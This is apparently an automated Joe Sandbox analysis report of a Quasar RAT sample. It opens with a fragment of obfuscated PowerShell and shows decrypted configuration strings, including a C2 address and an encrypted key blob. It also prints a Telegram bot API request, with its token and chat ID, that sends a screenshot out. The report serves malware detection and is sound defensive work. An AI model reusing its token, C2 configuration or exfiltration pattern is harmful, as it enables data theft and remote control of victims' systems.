'l3m$l3mEl3mLl3mpl3mtl3mFl3m.l3mMl3mol3mdl3mel3m=l3m[l3mSl3myl3msl3mtl3mel3mml3m.l3mSl3mel3mcl3mul3mrl3mil3mtl3myl3m.l3mCl3mrl3myl3mpl3mtl3mol3mgl3mrl3mal3mpl3mhl3myl3m.l3mCl3mil3mpl3mhl3mel3mr

Suricata Signatures

Joe Security ANOMALY Telegram Send Photo

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-11T17:32:38.586864+0100	1810009	1	Potentially Bad Traffic	192.168.2.10	49797	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Yara detected Quasar RAT

Source: Yara match	File source: 8.2.powershell.exe.225576fb380.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.225576d3348.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.225576d3348.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.2255fa80000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.2255fa80000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.225576fb380.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.2255f9c0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.22557635510.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.2255f9c0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.22557635510.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2800661538.000002255FA80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2591788897.00000225487FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2741051863.00000225576FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2591788897.0000022548849000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2797885450.000002255F9C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5964, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 94.2% probability

Sample uses string decryption to hide its real strings

Source: 00000008.00000002.2591788897.00000225487FA000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 1.8.8
Source: 00000008.00000002.2591788897.00000225487FA000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 193.124.205.6:443;
Source: 00000008.00000002.2591788897.00000225487FA000.00000004.00000800.00020000.00000000.sdmp	String decryptor: SubDir
Source: 00000008.00000002.2591788897.00000225487FA000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Client.exe
Source: 00000008.00000002.2591788897.00000225487FA000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 615456d8-1d6d-425c-ab75-75d0b24fbc45
Source: 00000008.00000002.2591788897.00000225487FA000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Quasar Client Startup
Source: 00000008.00000002.2591788897.00000225487FA000.00000004.00000800.00020000.00000000.sdmp	String decryptor: adsforDex
Source: 00000008.00000002.2591788897.00000225487FA000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Firewall
Source: 00000008.00000002.2591788897.00000225487FA000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ELbnuzl0hYQ8L5qkz3PeI0jYPNEL58LrqN29UIUQ0XG1nHp3mkvYboeGLU7S3qmf4m28r/9Faqc71mIKHIV2cRr7wUcSaviBG1WsxQqFVgFw9+d/HWwNcH0EodGoCClMkwszWSUqw8wq18s4ByLpBFEXp23rDma0hwbGEJ73X1YxNFPYv7M/YOv1v4AcLe2kTDayG8opnRf4FKinqMI8luFSCTX/Rc8u3u8MlbFekd4FSaAL+iTpowBvfN0vKzy5eeIaDlkwvqmPpbDDkxwgooSjwBAbs3tCZrduXO5gcOxbwkME0P3Lghrv1/5J6tXnC4Slh4XoR5rpzuLCHBmjnd5Aoxwk4HYGn+yckJ7qBEcstbgKbpYGvxjYNFDFr5lkzh0m1TlbInBmeKRz+YcQpuBNy1s6nwbjl4haPRCOf1iqR3sHrRzX7BRMYFll0jaJRbGNBBB+GPtOQnQsXPqnifpexfX8CBI8eHIimoBCRXwHVDlj7oCCrFr86gz25k8SaoHFTmPuKNz2bC3Lc8+JRc6al8R+KPNKPCYSlNW1lrzlb7xzWHtnhj8R16bXcazYLDBzf+TXBx80d6s2G3awYSGL1Yd/J830XZncKFBBzulnaa1D5k55dzHtp8qKPc3n10QGJIirImzjMxtd+KU3fEAaE2A8YfWSzqJkL6+lW7D4tZQ3cfNFI2xKVwXrRGpWKiBzqqjhK6jELcpOKsj9VtT3GJbfEVlcx1IQpuVdt5wd0B0yhLvD+fHPESssS/x2RRlec5dLGaOiS1ugNy5uYsc4kquI7/4cMR1T1rpBRmDaZISM1kUbOIhvokfCkCwDbMH14+Q7uG7KNSn2+LNzf1Om/gSXeiyRJX2w+cphlSpieq8T59nN2gQA21U3GJ6byb73JWSbCtTGvaj+5lU7/XBBfmGdLnbqZacb3Itt+uj/mbEwRoZ+StjQc3wdssW9NfZtc5DOlNU4iSou9bv8Pqecr3d1Q9DgtuM3pzCn56nby54niBsS7WYcF3o+6FT/zlzecO1964xPoqB/VhdC8NfVK7zJVDJ8DjQ/Dp0nspBKPzAn9isMnXuIFd3sRgM+SGwqrqzWRBZdvTgDRdbTOsXIT4UjeocZubudKXP04ONPAKJhmG0jnByETwFULkbL4W8EzBoxWb5nfgdNMAr00JU16RGEdjdveo69uRTDkxFIw40YGl6SeALrORUQLnGhRyGXZGZv6Kmhk+Qw5DdQ2kT1aYZUbo9yV/Dml9A5c9qlM6xxOIAqlEjX+zpCW1uS4dFrqnqe2pZNaIRGhhKKHeP23qx5MB0EDVK6Hr+bAbo+GTt5Ds+L+AEK0KNN/ITaKWo1TssyTA/3w6sulzpgJQ==
Source: 00000008.00000002.2591788897.00000225487FA000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 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

Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.10:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.201.57.90:443 -> 192.168.2.10:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50059 version: TLS 1.2

Source:	Binary string: C:\Users\swagkek\source\repos\AntiVM\obj\Release\abc.pdb source: powershell.exe, 00000005.00000002.1372476794.0000027F80226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1372476794.0000027F804DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1392320209.0000027FFEAD0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000005.00000002.1372476794.0000027F8181B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressed/gma.system.mousekeyhook]costura.gma.system.mousekeyhook.dll.compressed source: powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\globalmousekeyhook\MouseKeyHook\obj\Debug\Gma.System.MouseKeyHook.pdb source: powershell.exe, 00000008.00000002.2815168012.0000022560390000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed source: powershell.exe, 00000008.00000002.2591788897.00000225487FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256 source: powershell.exe, 00000008.00000002.2741051863.0000022557D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2815409363.00000225603A0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: powershell.exe, 00000008.00000002.2741051863.0000022557D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2815409363.00000225603A0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810009 - Severity 1 - Joe Security ANOMALY Telegram Send Photo : 192.168.2.10:49797 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

HTTP traffic detected: POST /bot7813041927:AAFJKTwPluPESj-jsG5TWsi6m7BDKrgz_Rk/sendPhoto?chat_id=-4630316859&parse_mode=Markdown HTTP/1.1Content-Type: multipart/form-data; boundary="9e5a8c58-a8d7-4adc-ac19-ba685bb25bb6"Host: api.telegram.orgContent-Length: 692632Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 195.201.57.90 195.201.57.90
Source: Joe Sandbox View	IP Address: 195.201.57.90 195.201.57.90

Source: Joe Sandbox View

ASN Name: AS-REGRU AS-REGRU

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: c12f54a3f91dc7bafd92cb59fe009a35

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: ipwho.is

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Host: ipwho.isConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6
Source: unknown	TCP traffic detected without corresponding DNS query: 193.124.205.6

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Host: ipwho.isConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ipwho.is
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

Source: powershell.exe, 00000006.00000002.1507861844.000001BEE285E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE26FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: powershell.exe, 00000006.00000002.1592989522.000001BEFA143000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE2899000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ipwho.is
Source: powershell.exe, 00000006.00000002.1594286288.000001BEFA2C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.a.0/sTy
